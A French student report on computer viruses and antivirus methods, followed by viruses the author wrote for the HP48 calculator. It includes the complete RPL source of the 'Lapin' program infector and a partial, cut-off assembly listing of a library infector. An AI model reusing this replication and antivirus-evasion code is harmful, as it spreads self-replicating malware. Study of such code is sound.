Exemple de fonctionnement d’un virus polymorphe infecteur de fichier
4.6.
Les virus génétiques
L’idée des virus génétiques
est d’introduire un facteur d’apprentissage d’une génération à l’autre d’un
virus polymorphe. En effet, il est courant que les copies d’un virus polymorphe
ayant infecté un ordinateur ne soient pas toutes détectées par un antivirus
(cela dépend du type d’antivirus employé). Le population des copies ayant
survécu à l’antivirus présente donc de meilleures caractéristiques d’adaptation
à l’environnement que l’ensemble des copies possibles en général. Or, dès la
génération suivante, le moteur de mutation va créer des copies susceptibles
d’être de nouveau repérées. On aimerait donc que le moteur connaisse la structure de la boucle de
déchiffrement du virus depuis lequel il est exécuté, et qu’il en tienne compte
en contraignant la nouvelle boucle de déchiffrement qu’il va générer à lui
ressembler. On suppose implicitement que puisque le virus est toujours actif,
sa boucle de déchiffrement présente des caractéristiques utiles à conserver.
Pour conserver les propriétés de polymorphisme et d’évolution, on impose tout
de même un taux de variation d’une génération à l’autre de cette boucle de
déchiffrement.
Dans la pratique, on utilise
des techniques inspirées des algorithmes génétiques. La structure d’une boucle
de déchiffrement est représentée par un gène, et l’ensemble des boucles que
peut générer le moteur de mutation est l’ensemble des allèles de ce gène. Le
moteur a à sa disposition la liste de toutes ces allèles. Le moteur effectue
alors, à chaque génération, et de manière aléatoire, des croisements entre l’allèle
de la boucle initiale et des allèles de l’ensemble des allèles possibles. On
introduit ainsi une notion de filiation à travers la conservation de
caractéristiques génétiques d’une génération à l’autre du virus polymorphe. Le
résultat est une population de virus qui s’adapte à la présence d’un antivirus,
et ‘apprend’ à lui échapper.
C’est le fleuron des
techniques de programmation de virus.
5.
La riposte des
antivirus
Les analyses spectrale et
heuristique sont les deux méthodes antivirus les plus avancées, qui furent
crées pour lutter contre les virus polymorphes. Ces virus ont en effet la
particularité de générer des copies d’eux même qui ne leur sont jamais
identiques. Il ne possède donc aucune chaîne d’octet constante qui puisse
servir à les identifier grâce à un scanner. Or le scanner est la seule méthode
de détection qui repère le virus tandis qu’il n’est pas actif. Il a donc fallu
imaginer de nouvelles techniques pour repérer les virus polymorphes sans devoir
attendre qu’ils se manifestent.
5.1.
L’analyse spectrale
L’analyse spectrale se sert
des particularités propres à chaque moteur de mutations des virus polymorphes.
En effet, celui-ci sert à générer une boucle de déchiffrement en langage
machine, et possède ses propres particularités dans le choix du codage des
instructions utilisées, au même titre que les compilateurs ou les assembleurs.
Rappelons en effet qu’une instruction du langage machine peut souvent être
codée de plusieurs façons différentes, et ainsi chacun de ces programmes utilise
tels codages plutôt que tels autres. Comme tous font des choix différents, il
devient possible en analysant le codage des instructions employées dans un code
d’en déduire le programme qui l’a assemblé. D’un point de vue théorique, on
représente toute instruction codée du langage machine par un point dans
l’espace des codages possibles, puis on établit les zones de cet espace que
chaque compilateur, assembleur ou moteur de mutation utilise. Ainsi, par
analyse du spectre des instructions d’un code, on peut situer celui-ci dans cet
espace et faire des recoupements avec les zones voisines. On en déduit par quoi
il a été construit, ce qui permet d’identifier un virus polymorphe dont on
connaît le moteur.
On pourra par exemple
rechercher dans un code susceptible d’être infecté par tel virus polymorphe, si
il y a des codes d’instruction que seul le moteur de mutation de ce virus
emploie, ou au contraire qu’il n’emploie jamais, et en déduire ainsi la
présence ou l’absence du virus. Malheureusement, si une version du virus
polymorphe ne présente aucune particularité, ce qui statistiquement doit
arriver, elle ne pourra être détecter par analyse spectrale. De plus, un virus
polymorphe peut riposter en introduisant dans son programme hôte une série
d’instructions inutiles que son moteur ne pourrait pas générer, pour tromper
l’analyse.
5.2.
L’analyse
heuristique
L’analyse heuristique sert à
rechercher des codes correspondant à des fonctions virales. Supposons, comme
c’est souvent le cas, que l’on veuille trouver les codes qui se chiffrent
eux-mêmes (cas des virus polymorphe et autocryptés). Un antivirus utilisant
l’analyse heuristique contient un désassembleur lui permettant de lire le code
machine et de l’exécuter ensuite virtuellement sur des registres simulés. Il considère
donc le code comme une simple donnée et ne cherche en aucun cas à
l’exécuter. Il pourra ainsi simuler
l’évaluation d’un code suspect en regardant si il essaie de se lire puis de se
réécrire au même endroit, ce qui est la signature d’un programme auto-modifiant,
et en particulier d’un virus polymorphe.
Notons qu’un virus
polymorphe doué de furtivité pourrait déjouer l’analyseur heuristique en
interceptant sa demande de lecture du fichier infecté. Ainsi, cette technique,
comme toute les autres, n’est efficace que si elle est employée conjointement
avec d’autre. Il en va de même pour les virus, qui tendent à combiner un
maximum de techniques différentes pour échapper aux antivirus. On assiste à une
véritable course poursuite atteignant des sommets de technicité dans la
programmation.
6.
Perspectives
d’avenir
6.1.
Applications des
virus
On entend fréquemment parler
des virus informatiques dans la presse, mais on mesure rarement l’ampleur du
phénomène virus à travers ce brouillard médiatique. Au demeurant, le virus est
présenté comme un objet dangereux, et on oublie souvent que la technique du
virus peut également servir dans un but bénéfique.
Actuellement, les virus sont
un danger réel et de nombreuses entreprises ont subies des pertes à cause d’eux.
La technique virale est en effet idéale pour un programmeur mal intentionné
souhaitant s’infiltrer dans un système informatique. Des tentatives ont été
faites pour chiffrer précisément les pertes des entreprises, mais elles se
heurtent à leur mauvaise volonté. En effet, les entreprises rechignent à avouer
la faiblesse de leur protection informatique, et essayent donc souvent de
cacher leurs éventuels problèmes. Au demeurant, les virus ne sont pas le
principal danger informatique qu’elles doivent affronter. Elles tentent avant
tout de se protéger des attaques des pirates informatiques, qui tentent de
pénétrer dans leur réseau pour y voler de l’information. Pour cela, la
stratégie est d’assurer une meilleur intégrité au réseau local de l’entreprise,
ce qui de surcroît le protège des virus. Il reste alors le danger résiduel et
anecdotique de virus implantés volontairement, et dans un but destructeur, par
un employé de l’entreprise. Il existe donc des mesures contre le danger des
virus, mais il semble qu’elles ne soient appliquées que localement, si bien
qu’une partie des entreprise et la majorité des utilisateurs particuliers sont
exposés. Ce sont autant de clients potentiels pour l’industrie des antivirus,
qui est particulièrement fructueuse.

Figure
7 : Nombre d’infections
par milliers d’ordinateurs et par mois entre 96 et 97.
Sondage de la NCSA.
La
figure 7 est extraite d’un rapport officiel de la NCSA (National Computer
Security Association), paru en 1997 à la demande d’un regroupement de grandes
entreprises du secteur informatique. Cette figure montre que la proportion
d’ordinateurs infectés dans le parc informatique des entreprises a doublé entre
février 96 et janvier 97.
Cependant,
on a tendance à oublier que la technique des virus pourrait également être
employée à des fins bénéfiques. Comme nous l’avons étudié, la force du virus
vient de sa capacité fondamentale à se reproduire de façon autonome et sans
intervention de l’utilisateur. Il est donc tout indiqué pour certaines taches
utiles, comme celles décrites dans la partie 1.5. sur les charges virales. Il
est à souhaiter que la technique du virus perde son aura maléfique et
marginale, pour que l’on voit se développer de telles applications.
6.2.
L’escalade technique
entre virus et antivirus cessera-t-elle un jour ?
On se
rend compte à travers cet exposé qu’on assiste à une escalade sans fin dans les
techniques virales et antivirales. Les programmeurs des deux bords développent
des trésors d’imagination, et rien ne permet de dire s’il sera possible
d’écrire un jour un virus totalement indécelable, ou un antivirus parfait. Il
faut donc s’attendre à voir ces techniques s’enrichir de plus en plus, jusqu’à
atteindre des limites de complexité où un programmeur ne pourra plus écrire un
virus seul.
On
peut montrer mathématiquement qu’un scanner parfait ne peut exister. Il s’agit
d’une démonstration par l’absurde supposant l’existence d’un tel scanner, puis
construisant un programme utilisant cette fonction scanner et qui aboutit à la
contradiction.
Ainsi,
un scanner ne peut fondamentalement pas détecter tous les virus. D’autre part,
nous avons vu qu’un contrôleur d’intégrité et un moniteur de comportement
doivent attendre l’exécution du virus pour le détecter, ce qui est dangereux
puisque le virus peut, avant sa détection, prendre des mesures répressives qui
empêcheront justement sa détection. A long terme, ce sont donc les antivirus
utilisant les analyses heuristiques et spectrales qui ont les meilleurs
perspectives d’avenir, et il faut s’attendre à les voir de plus en plus
employés.
Seconde
Partie :
Exemples de virus programmés sur
HP48
Dans ce qui suit,
nous allons étudier en détail le fonctionnement de plusieurs types de virus à
partir d’exemples développés par moi-même sur un ordinateur de poche de type
HP48. Cet exposé est l’aboutissement d’un long travail de programmation,
s’étendant sur 2 années. Un lecteur pressé pourra se contenter de lire la
conclusion en partie 6.
1. Description de la HP48
1.1
. Qu’est ce que la HP48 ?
La HP48 est un ordinateur de
poche produit par Hewlett Packard et dont les premiers modèles sortirent vers
1985. Il s’agissait des HP48 S et SX, qui furent remplacés en 1993 par les HP48
G et GX. Ces produits connurent très vite un grand succès dans les milieux
d’étudiants passionnés par l’informatique, car ils se révélèrent être
d’excellente plates-formes pour s’initier jusqu’à un niveau approfondi à la
programmation et au fonctionnement d’un ordinateur.
Les
programmes qui seront exposés dans cette partie ont été réalisé sur une HP48
GX, qui est dotée d’un microprocesseur Saturne cadencé à 3.25 MHz et possédant
une architecture 4 bits, d’une ROM de 512 Ko et d’une RAM de 128 Ko. Comme les
manipulations en langage machine exposent l’utilisateur à de fréquentes pertes
de données, j’ai également utilisé une extension de mémoire enfichable de 128
Ko qui servait de disquette de sauvegarde.
1.2.
Pourquoi la HP48 ?
Cette machine se
prête particulièrement bien à l’écriture de virus car elle permet à la fois
d’écrire des programmes en assembleur et en un langage évolué, inspiré du LISP.
Nous pourrons ainsi constater qu’il est très difficile d’écrire un bon virus en
langage de haut niveau, et qu’il faut passer par le langage machine. D’autre
part, la HP48 a le grand avantage d’avoir une structure interne comparable à
celle des PCs. Ainsi, la plupart des types de virus PCs trouvent leur
équivalent sur HP48. En particulier, nous aurons l’occasion d’étudier deux
types de virus infecteurs de fichiers, l’un en langage de haut niveau, l’autre
en langage machine, ainsi qu’un virus système et un virus hybride autocrypté,
qui est ce que j’ai écrit de mieux pour la HP48.
L’expérimentation
sur HP48 plutôt que sur ordinateur présente également l’avantage majeur
d’éviter tout danger de contamination par les virus écrit.
1.3.
Le langage de la
HP48
Le langage de
programmation de la HP48 est le RPL (Reverse Polish Lisp), qui est inspiré du
langage LISP. C’est un langage orienté objet, dans lequel les principaux types
d’objets (programme, chaîne de caractères, liste d’objets,…) possèdent une
structure formée d’un prologue qui permet d’identifier le type de l’objet,
suivie du corps de l’objet et éventuellement d’un prologue de fin (cas des
programmes, des listes…). Toute instruction du langage RPL s’applique de
manière universelle à tout objet de la HP48, car elle est capable, en
reconnaissant les prédicats des objets qu’on lui donne à manipuler, d’effectuer
l’algorithme de traitement spécifique à ces objets.
De plus, toutes les
manipulations sur les objets de la HP48 sont effectuées dans une pile de type
FIFO (First In First Out), appelée pile de travail. Ainsi, un programme en RPL
est une suite d’instructions qui manipulent des objets stockées dans une pile.
Cela impose d’inverser l’ordre de certaines opérations, d’où le terme Reverse
dans RPL. Par exemple, si on veux écrire un programme additionnant 2 et 3, il
faudra l’écrire dans l’ordre « 2
3 + »
pour mettre 2 dans la pile, puis 3, puis effectuer une addition entre les
objets de type entier 2 et 3. Le résultat 5 est alors fourni au premier niveau
de la pile. Le schéma ci dessous illustre cet exemple :
3 : 3 : 3 :
2 : 2 : 3 2 :
1 : 3 1 : 2 1 : 5
« 2 « 2 3 « 2
3 + »
(chiffres
en italiques = niveaux de la pile)
Lorsqu’on
examine le codage des instructions du RPL en mémoire, on s’aperçoit qu’elles
sont toutes écrites sur un bloc de 5 quartets (1quartet = 4 bits), qui
correspond en fait à un pointeur sur l’adresse d’un programme en ROM qui soit
contiendra d’autres pointeurs, soit sera un objet code, c’est à dire contenant
du langage machine. Si on parcourt en profondeur l’arborescence des adresses
pointées dans les instructions d’un programme, on aboutit toujours à un objet code.
Lorsque la HP48 exécute un programme, elle effectue le parcours de cette
arborescence. A chaque fois qu’elle passe d’un niveau de l’arbre à un autre,
elle dépose ou enlève l’adresse de retour dans une pile, appelée pile des
retours.
Il
existe un niveau de programmation intermédiaire entre le langage machine et le
RPL sur la HP48, qui consiste à appeler des programmes en ROM dont on connaît
l’adresse, mais pour lesquels il n’existe pas d’instruction officielle dans le
RPL. Il suffit pour cela d’écrire sur 5 quartets un pointeur vers l’adresse de
ce programme, exactement comme pour les instructions normales du RPL.
Cependant, un programme utilisant un appel de ce genre ne pourra être édité
dans l’environnement courant de la HP48 et nécessitera un éditeur écrit
spécialement. Nous appellerons ce langage RPL étendu.
1.4.
L’assembleur sur la
HP48
Le
microprocesseur Saturn est doté de 4 registres de 64 bits, notés A,B,C et D, de
deux registres de 20 bits servant à pointer des adresses, notés D0 et D1, ainsi
que d’un compteur P de 4 bits, de nombreux flags (registres d’un bit), et de
registres d’entrées sortie. Il existe également 5 registres de sauvegardes de
64 bits, appelés R0, R1, R2, R3, et R4, et un registre noté PC qui contient
l’adresse de la prochaine instruction à exécuter. Les registres A, B, C et D
possèdent des champs, appelés P, WP, XS, X, S, M, B, W, et A et qui couvrent
les quartets indiqués ci-dessous :
F E
D C B
A 9 8 7 6 5
4 3 2
1 0
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
![]()
Numéro du
quartet :
XS
X
A
B
M
S
W
WP
Quartets
désignés par les champs :
P
La
plupart des instructions du langage machine manipulent entre eux des champs de
registre. Par exemple C=C&A A effectue
un et logique entre les contenus des registres C et A champs A, et écrit le
résultat dans le registre C champ A. Les registres les plus employés sont A, B,
C, D et les registres pointeurs d’adresses D0 et D1.
Il
existe plusieurs assembleurs pour la HP48, ayant adopté les mêmes mnémoniques.
Celui qui a servit à assembler les codes qui suivent s’appelle HP ASM, et a été
programmé par J.Y. Avenard. On peut également citer ASM48 et ASMFLASH. La liste
détaillée des mnémoniques des instructions du langage machine du Saturn sont
disponibles en annexe, et il existe de très bons livres sur le sujet. Nous
introduirons des notions supplémentaires au fur et à mesure, lorsqu’elles
seront nécessaires
1.5.
Structure de la
mémoire de la HP48
A
l’adresse #00000 de la ROM de la HP48, on trouve le programme de démarrage de
la calculatrice, qui est exécuté à chaque reset. Après ce programme et sur les
256 premiers Ko, on trouve les programmes qui définissent le système
d’exploitation de la HP et ses fonctionnalités plus évoluées (calcul
symbolique, bibliothèques graphiques, langage de programmation…). Les 256 Ko
suivant contiennent des fonctions peu utilisées, et sont masqués en partie par
la RAM, en partie par d’éventuels modules mémoires enfichables. En effet, le
Saturn avec ses registres de 20 bits ne peut adresser que 512 Ko de mémoire,
aussi faut il définir des priorités d’adressage entre modules de mémoires si
512 Ko de RAM sont dépassés.
La
RAM de la HP48 GX fait 128 Ko (contre 32 Ko pour la HP48 G), et possède une
structure très précise, décrite par le schéma de la figure 1. Les zones en gris
sont celles ou agiront les virus étudiés. Ainsi, la zone des objets temporaires
contient les variables globales, et toutes les données utilisées entre 2 resets
qui n’ont pas le statut de variable utilisateur. La pile des retours a été
décrite en 1.3, ainsi que la pile de travail. La zone des variables utilisateur
contient tout les fichiers utilisateurs (programmes entre autre type d’objet),
lesquels sont organisés au sein d’une arborescence de répertoires. Enfin le
Port 0 est une zone mémoire particulière où sont stockés des sauvegardes et des
objets librairies. La structure de l’objet librairie sera décrite
ultérieurement.
RAM réservée pour le système / #80000
Objets graphiques de l’écran d’affichage

Figure 1 : Structure de la RAM de la HP48
La
ROM s’étend de l’adresse #00000 à l’adresse #FFFFF, tandis que la RAM recouvre
une partie de la fin de la ROM, à partir de l’adresse #80000 et sur une
distance de 32 Ko pour une 48 G et 128 Ko pour une 48 GX.
2.
Virus infecteur de
programme écrit en langage de haut niveau
2.1.
Principe
Il est possible d’écrire des
virus en se servant des instructions du langage RPL. Le virus très simple qui
va être décrit ci après utilise deux instructions propre au RPL, qui sont
‘->str’ et ‘obj->’. L’instruction ‘->str’ convertit tout objet de la
HP48 en une chaîne de caractères (objet string) qui est celle qu’aurait affiché
l’éditeur de la HP48 en éditant cet objet. L’instruction ‘obj->’ joue ici le
rôle inverse de ‘->str’. Il est donc possible, en particulier, de
transformer un programme en chaîne de caractères, de modifier cette chaîne en
lui accolant la chaîne du programme du virus, puis de re-transformer le tout en
programme. On a ainsi un virus infecteur de fichiers programmes. Nous
baptiserons ce virus Lapin, car il se reproduit bêtement sans prendre aucune
précaution. Son organigramme est indiqué en figure 2.
2.2.
Le virus détaillé
2.2.1.
Boucle de recherche
d’un fichier à infecter
Lapin
est programmé pour chercher des objets de type programme en parcourant de
manière aléatoire l’arborescence des répertoires. Il réalise cela dans la
boucle While repeat end ci dessous :
while
vars dup size rand *
ceil get dup vtype 15 + ==
repeat
dup eval swap +
end
Plus
précisément, ‘vars dup size
* ceil get’
prend un objet au hasard dans la liste des variables du répertoire courant,
donnée par vars. Puis ‘dup vtype 15 +
==’
teste si le type de cet objet vaux 15, auquel cas il s’agit d’un répertoire et
on l’ouvre par ‘dup eval’. ‘swap +’ sert à mémoriser le
parcours effectué dans l’arborescence, de façon à pouvoir revenir au répertoire
d’origine.
Figure 2 : Fonctionnement du virus Lapin
Lorsque
l’objet trouvé n’est pas un répertoire, on teste si il s’agit d’un programme
(type = 8) par
if
dup vtype 8 ==
then
infection
else
drop2
end
L’instruction
drop2 sert à nettoyer la
pile, dans le cas où aucun programme n’a été trouvé, pour ne pas laisser de
trace du virus.
2.2.2.
Processus de
reproduction
Un programme infecté par
lapin a la structure suivante :
« Programme_hôte_en_rpl ‘Nom_du_programme_hôte’ virus_en_rpl »
(les
signes « et » sont les prologues de début et de fin d’un
programme en RPL).
A
chaque appel d’un programme infecté, le programme est d’abord exécuté, puis le
nom ‘Nom_du_prgramme_hôte’ est mis sur la
pile. Le virus recherche alors le contenu du programme portant ce nom et en
extrait le code viral, en le transformant en chaîne de caractères et en en
prélevant la partie virale. Ces opérations sont effectuées en début du virus,
par la séquence :
‘Nom_du_programme_hôte’
rcl ->str dup size dup 282 - swap sub
On
obtient alors au premier niveau de la pile une chaîne de caractères contenant
le virus, qu’il suffira de coller à celle d’un programme sain, moyennant
quelques aménagements syntaxiques, pour obtenir un programme infecté.
Si on
trouve un programme à infecter, on le transforme donc en chaîne de caractères
que l’on soude à celle du virus, en prenant soin d’inclure le ‘Nom_du_programme_hôte’ dans la nouvelle
copie :
dup rot +
« ‘ » swap + over rcl ->str dup size 1 swap 1 - sub swap +
Puis on transforme la chaîne
de caractères décrivant le nouveau programme infecté en objet programme
exécutable, que l’on enregistre à la place de l’ancien :
obj-> swap sto
2.3.
Listing complet
Voici le listing complet du
virus, baptisé ‘Lapin’ et écrit en RPL, qui fait 210.5 octets :
« ‘Lapin’ rcl ->str dup size dup 282 - swap
sub
(Recopie le code du virus sur
la pile)
path dup head eval
swap
(Se place dans le répertoire
maître)
while
vars dup size rand *
ceil get dup vtype 15 + ==
repeat
dup eval swap +
end (Boucle Tant Que / Fait de
recherche d’un objet à infecter)
if
dup vtype 8 == (est-ce un programme ?)
then
dup rot + « ‘ » swap + over
rcl ->str dup size 1 swap 1 - sub swap + obj-> swap sto (Si oui, il est infecté)
else
drop2 (Si non, nettoyage de la pile)
end
eval » (Retour
au répertoire d’origine)
2.4.
Commentaires
Ce virus est très mauvais.
En effet, il met longtemps à s’exécuter. Dans le meilleur des cas (infection
d’un programme vide), il lui faut 3.2 secondes, et pour infecter un programme
de 200 octets, 11 secondes. En effet, les instructions ->str et obj->
sont d’autant plus lentes que l’objet manipulé est grand. D’autre part, aucun
test n’est effectué pour savoir si le programme choisi est déjà infecté ou non.
Enfin, la boucle de recherche d’un fichier à infecter n’est pas optimale,
puisqu’elle n’aboutit pas toujours à un programme.
Lapin
n’a donc qu’une vertu démonstrative : il est possible, en exploitant des
failles du langage de programmation, d’écrire un virus en langage de haut
niveau, mais les caractéristiques d’un tel virus sont en général déplorables
(taille excessive, lenteur…).
Enfin,
il est possible de programmer des versions bien plus performantes de Lapin en
utilisant le RPL étendu, lequel offre un jeu d’instruction permettant de
manipuler directement un objet programme sans devoir le transformer auparavant
en chaîne de caractères.
3.
Virus infecteur de
librairie en assembleur
3.1.
Description de
l’objet librairie
Les librairies sont des
objets stockés en RAM dans la zone du Port 0. Il s’agit d’un regroupement de
programmes et d’objets manipulés par ces programmes au sein d’une même
structure. Par exemple, il existe sur HP des librairies de calcul symboliques,
des librairies de jeux (jeu d’échec contre la HP48, jeux d’arcades…)
programmées en assembleur, ou encore des utilitaires tels qu’assembleurs,
désassembleurs, compresseurs… Les programmeurs sur HP48 font en effet circuler
leurs réalisations sous forme de librairie, que l’on peut se procurer dans l’un
des nombreux clubs HP48. Construire un virus pour librairie est donc une
gageure intéressante. Mais un tel virus ne peut être écrit qu’en assembleur,
car il faut effectuer, entre autres, des modifications sur le codage de la
librairie en mémoire.
Avant de décrire ce virus,
il nous faut donc comprendre la façon dont est structurée une librairie. La
figure 3 décrit cette structure, avec les conventions qu’on trouve dans les
ouvrages spécialisés. Les zones en gris désignent les objets (pas forcément des
programmes) inclus dans la librairie. Un virus pour librairie devra forcément
se fixer sur l’un de ces objets, ce qui, on le voit, impose de modifier la
structure de la librairie. Chaque objet d’une librairie est repéré par le
numéro de sa librairie, et son numéro à l’intérieur de la librairie. Un objet
inclus dans une librairie peut être appelé au sein d’un programme en RPL. En
fait, le plupart des instructions du RPL sont elles mêmes des programmes inclus
dans des librairies de la ROM. La Hash Table permet de retrouver le numéro d’un
objet de la librairie à partir de son nom, et la Link Table permet de localiser
un objet dans la librairie à partir de son numéro. Le Message Array contient
une liste de messages d’erreurs utilisés par des objets de la librairie pour
dénoncer une mauvaise utilisation. Enfin le Config Object, ou Objet de
Configuration, est un petit programme qui est évalué à chaque reset et qui sert
à attacher la librairie au répertoire racine, afin que les objets de la
librairie y soient visibles. On verra plus tard que l’on pourra détourner cet
objet pour écrire un virus système.
Prologue de librairie
#04B20h
Longueur de la librairie, hors prologue

Numéro de la librairie

Checksum (CRC)
![]()
Figure 3 : Structure d’une librairie
3.2.
Fonctionnement du virus
Le virus que nous allons
étudier se reproduit en infectant un objet programme d’une librairie, de sorte
qu’il soit évalué à la place de ce programme lorsque celui ci est appelé.
Avant d’entamer la recherche
d’une cible, le virus teste si il y a assez de mémoire pour se répliquer, et si
il se trouve bien sur une HP48 G ou GX (et pas une S ou SX). Ensuite, pour
rechercher une librairie à infecter, il lit dans une zone mémoire où sont
répertoriées les adresses de toutes les librairies de la HP48. Il les examine
une à une, en effectuant des tests pour éliminer les librairies situées en ROM,
et pour voir si elles ne sont pas déjà infectées. Puis il examine au plus les 5
premiers objets contenus dans cette librairie à la recherche d’un programme.
Une fois ce programme
trouvé, on quitte le code en langage machine pour une séquence en RPL étendu
qui construit un entier binaire dont la taille vaux celle du virus. On
enregistre ensuite cet entier au début du Port 0. Cette astuce permet d’éviter
de changer tous les pointeurs vers les objets situés entre la fin de la mémoire
libre et le début du Port 0, qu’il faut décaler pour pouvoir insérer le virus
dans la librairie. Ce sont des programmes résidants en ROM qui effectuent donc
ces taches, qui autrement auraient été extrêmement longues à programmer.
D’autre part, on n’essaye pas de modifier le programme au sein de la librairie,
ce qui imposerait de reconstruire toute la Link Table. On préfère installer le
virus entre le Config Object et le CRC de la librairie, et le faire se terminer
par un saut en direction du programme. On modifie alors la Link Table pour que,
lorsque le programme infecté de la librairie soit appelé, le virus soit exécuté
à sa place. Une librairie n’étant pas éditable par la HP48, une telle supercherie
passe inaperçue.
Pour ce faire, il faut
encore décaler la zone mémoire comprise entre la fin de l’entier binaire et la
fin de la librairie à infecter vers le début du Port 0, en écrasant l’entier
binaire. Puis dans l’intervalle ainsi ménagé entre la fin de la librairie à
infecter et le début de la librairie suivante, recopier le virus.
Une
fois cette copie installée dans la librairie, il reste à modifier la Link Table
pour que le virus soit exécuté à la place du programme infecté, à permettre au
nouveau virus de connaître l’emplacement du programme qu’il parasite pour
pouvoir l’exécuter, à recalculer les pointeurs vers les librairies qui ont été
décalées car elles étaient entre le début du Port 0 et la librairie à infecter,
et à terminer l’exécution du virus.
La
figure 4 montre la structure d’une librairie, dont l’objet numéro 2 a été
infecté par le virus.
Prologue de librairie
#04B20h
Longueur de la librairie, hors prologue
Nom de la librairie
Numéro de la librairie

Checksum (CRC)
Figure 4 : Structure d’une librairie infectée par le
virus
3.3.
Listing du virus
Ce
qui suit est le listing commenté du virus. Le comprendre en détail
nécessiterait une connaissance préalable très approfondie du fonctionnement de
la HP48, qui dépasse le cadre de ce PIR. Le fonctionnement du virus à été
résumé en 3.2, et les commentaires permettrons de suivre pas à pas le rôle des
séquences écrites en assembleur.
/* Processus de recherche d’un programme contenu dans une librairie, à
/* infecter. C’est ce code qui est exécuté à la place du programme hôte
/* lorsque celui-ci est appelé.
*deb
GOSBVL 0679B /* Teste si il reste assez de mémoire libre dans
LCHEX 00200 /* la RAM pour reproduire le virus. Si non, on va à
?C<D A /* *sortie pour quitter le code en langage machine.
GOYES okmem /* Si oui, va à okmem
GOTO sortie
*okmem /* Teste le modèle de la HP48. Si c’est une HP48
D1= 80000 /* G ou GX, va à *okhp, sinon, pour éviter toute
A=DAT1 A /* erreur due à une incompatibilité, on va à
LCHEX A5C3F /* *sortie
?A=C A
GOYES okhp
GOTO sortie
*okhp
D1= 80536 /* Lit l’adresse de début du Port 0
A=DAT1 A /* pour y chercher des librairies à infecter
R1=A
D1= 809A3 /* Lit le nombre de librairies attachées au
A=DAT1 X /* répertoire maître
B=A A
D1=D1+ 3
*etudlib /* Boucle qui parcourt l’ensemble des librairies
AD1EX /* attachées
D0=A
D1=A
D1=D1+ 16
B=B-1 X
GONC ok1 /* Si toutes les librairies ont été regardées sans
GOTO sortie /* succès, on quitte
*ok1
D0=D0+ 8
A=DAT0 A
?A<>0 A /* L’adresse de la librairie est elle valide ?
GOYES etudlib /* Si non, on passe à la librairie suivante
D0=D0- 5
A=DAT0 A /* S’agit il d’une librairie située dans la RAM ?
GOSUB test /* (et pas la ROM !)
GONC etudlib /* Si non, librairie suivante
D0= 80319 /* Sauvegarde l’adresse de la librairie dans un
DAT0=A A /* buffer d’entrée sortie situe en #80319
D0=A
R0=A
D0=D0+ 7
A=DAT0 A /* Cette librairie a-t-elle un nom ?
?A<>0 A /* (si elle n’en a pas, elle est en ROM)
GOYES etudlib /* Si non, librairie suivante
D0=D0- 7 /* Toute la séquence qui suit sert à tester si la
GOSUB idl->szl /* librairie repérée est déjà infectée
A=DAT0 A /* pour cela, le virus positionne un registre pointeur
CD0EX /* d’adresse sur le début de son propre code, et un
A=A+C A /* second sur l’endroit où se trouverait sa copie dans
GOSUB setc /* la librairie testée. Puis on effectue une comparaison
A=A-C A /* bit par bit de ces deux zones sur une longueur de #FF
D0=A /* quartets, grâce à un appel à un code situé en ROM
D0=D0+ 15 /* à l’adresse #07831, via un saut long à cette adresse
D0=D0+ 3 /* (GOSBVL 07831)
A=B A
R4=A
AD1EX
R3=A
A=PC
GOINC deb
A=A+C A
D1=A
LCHEX 0FF
GOSBVL 07831
A=R3
D1=A
A=R4
B=A A /* Si la librairie trouvée est déjà infectée, on passe
GOC ok2 /* à la librairie suivante, sinon, on l’infecte
GOTO etudlib /* et on va à ok2
*ok2
A=R0
D0=A
D0=D0+ 13 /* D0 pointe sur la Link Table de la librairie
A=DAT0 A
CD0EX
A=A+C A
D0=A
D0=D0+ 5
A=DAT0 A
A=A-5 A
C=0 A
LCHEX 19 /* Prend le min du nombre d’o